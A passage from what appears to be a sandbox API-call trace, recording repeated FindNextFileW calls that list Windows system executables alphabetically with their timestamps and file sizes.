ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x40c00, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="Dxpserver.exe", cAlternateFileName="")) returned 1 [0253.482] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe61b0ca, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xbe61b0ca, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xe18fbae0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2e00, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="Eap3Host.exe", cAlternateFileName="")) returned 1 [0253.482] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb012a3c2, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0xb012a3c2, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xe19204d0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x3200, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="efsui.exe", cAlternateFileName="")) returned 1 [0253.482] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38d5f61f, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x38d5f61f, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xe1cff830, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x22400, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="EhStorAuthn.exe", cAlternateFileName="")) returned 1 [0253.482] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x836eb2a5, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x836eb2a5, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xe1e7c5f0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x22000, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="esentutl.exe", cAlternateFileName="")) returned 1 [0253.482] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f2d527a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9f2d527a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9f34769a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x57e00, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="eudcedit.exe", cAlternateFileName="")) returned 1 [0253.482] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62761073, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x62761073, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xe1eef1e0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="eventcreate.exe", cAlternateFileName="")) returned 1 [0253.482] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf09c917, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0xf09c917, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xe1f13bd0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x14000, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="eventvwr.exe", cAlternateFileName="")) returned 1 [0253.482] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0f129be, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0xb0f129be, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0xe1fad8c0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="expand.exe", cAlternateFileName="")) returned 1 [0253.482] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0a9c0d8, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0xb0a9c0d8, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0xe2742770, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xf400, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="extrac32.exe", cAlternateFileName="")) returned 1 [0253.482] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x316ee0ed, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x316ee0ed, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xe278e260, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x5e00, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="fc.exe", cAlternateFileName="")) returned 1 [0253.483] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3171424a, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x3171424a, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xe278e260, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x3e00, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="find.exe", cAlternateFileName="")) returned 1 [0253.483] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ebf32f5, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8ebf32f5, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8ebf32f5, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x11600, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="findstr.exe", cAlternateFileName="")) returned 1 [0253.483] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84092633, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x84092633, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xe27b5360, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="finger.exe", cAlternateFileName="")) returned 1 [0253.483] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x872ff437, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x872ff437, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x872ff437, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4600, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="fixmapi.exe", cAlternateFileName="")) returned 1 [0253.483] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf30fa809, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0xf30fa809, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0xe29c9700, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x5c00, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="fltMC.exe", cAlternateFileName="")) returned 1 [0253.483] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95c63242, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x95c63242, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe2a3c2f0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x1aa00, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="fontview.exe", cAlternateFileName="")) returned 1 [0253.483] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ba6db2c, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x3ba6db2c, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xe2a633f0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xca00, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="forfiles.exe", cAlternateFileName="")) returned 1 [0253.483] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31bb0c8d, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x31bb0c8d, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xe2cc3280, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x17800, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="fsutil.exe", cAlternateFileName="")) returned 1 [0253.483] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8eb34c14, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8eb34c14, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8eb34c14, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xbc00, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="ftp.exe", cAlternateFileName="")) returned 1 [0253.483] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc16656c0, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0xc16656c0, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0xe2d35e70, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x1d600, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="fvenotify.exe", cAlternateFileName="")) returned 1 [0253.483] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc15cd14c, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0xc15cd14c, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0xe2d5cf70, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x1a200, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="fveprompt.exe", cAlternateFileName="")) returned 1 [0253.483] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1e2a321, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb1e2a321, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb1e2a321, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x41400, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="FXSCOVER.exe", cAlternateFileName="")) returned 1 [0253.483] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6841069, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb6841069, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb68671ca, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa8400, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="FXSSVC.exe", cAlternateFileName="")) returned 1 [0253.483] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb688d32a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb688d32a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb688d32a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4800, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="FXSUNATD.exe", cAlternateFileName="")) returned 1 [0253.483] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6488e076, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x6488e076, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xe3187dc0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x15e00, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="getmac.exe", cAlternateFileName="")) returned 1 [0253.483] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7681298b, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x7681298b, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe3187dc0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2e00, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="GettingStarted.exe", cAlternateFileName="")) returned 1 [0253.483] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4782ff85, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x4782ff85, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe326ae90, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x28c00, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="gpresult.exe", cAlternateFileName="")) returned 1 [0253.483] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c074bde, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x3c074bde, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe326ae90, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x6400, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="gpscript.exe", cAlternateFileName="")) returned 1 [0253.483] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49e45c85, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x49e45c85, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe32b6980, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="gpupdate.exe", cAlternateFileName="")) returned 1 [0253.483] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b548d16, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x7b548d16, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe3329570, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4800, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="grpconv.exe", cAlternateFileName="")) returned 1 [0253.483] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6bb4609c, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x6bb4609c, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xe340ed50, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xfa00, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="hdwwiz.exe", cAlternateFileName="")) returned 1 [0253.483] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3171424a, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x3171424a, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xe36230f0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="help.exe", cAlternateFileName="")) returned 1 [0253.483] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83f15891, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x83f15891, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xe3943d70, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="HOSTNAME.EXE", cAlternateFileName="")) returned 1 [0253.483] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x589b8874, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x589b8874, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xe3968760, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x9800, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="hwrcomp.exe", cAlternateFileName="")) returned 1 [0253.483] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x57d5f74d, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x57d5f74d, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xe3a02450, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2d000, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="hwrreg.exe", cAlternateFileName="")) returned 1 [0253.483] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c16bb3f, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x3c16bb3f, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xe3a99a30, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x8800, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="icacls.exe", cAlternateFileName="")) returned 1 [0253.483] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae7063de, ftCreationTime.dwHighDateTime=0x1ca041e, ftLastAccessTime.dwLowDateTime=0xae7063de, ftLastAccessTime.dwHighDateTime=0x1ca041e, ftLastWriteTime.dwLowDateTime=0x55f5cb7b, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x151140, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="icardagt.exe", cAlternateFileName="")) returned 1 [0253.483] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3989fb97, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x3989fb97, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xe3a99a30, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4200, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="icsunattend.exe", cAlternateFileName="")) returned 1 [0253.483] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd953427f, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xd953427f, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe3bcad00, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x12000, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="ie4uinit.exe", cAlternateFileName="")) returned 1 [0253.483] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd99f6e1f, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xd99f6e1f, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe3d6ebc0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x29c00, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="ieUnatt.exe", cAlternateFileName="")) returned 1 [0253.484] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0e6af5d, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xd0e6af5d, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe3f5be60, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x3d800, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="iexpress.exe", cAlternateFileName="")) returned 1 [0253.484] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6198f6b9, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x6198f6b9, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xe4230ff0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="InfDefaultInstall.exe", cAlternateFileName="")) returned 1 [0253.484] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89a21ae5, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x89a21ae5, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xe460dc40, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xe400, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="ipconfig.exe", cAlternateFileName="")) returned 1 [0253.484] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53df1067, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x53df1067, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xe465be40, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x30000, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="irftp.exe", cAlternateFileName="")) returned 1 [0253.484] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x870ea0f3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x870ea0f3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x870ea0f3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x25200, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="iscsicli.exe", cAlternateFileName="")) returned 1 [0253.484] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x396bec02, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x396bec02, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xe46f3420, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x1da00, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="iscsicpl.exe", cAlternateFileName="")) returned 1 [0253.484] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7065be1, 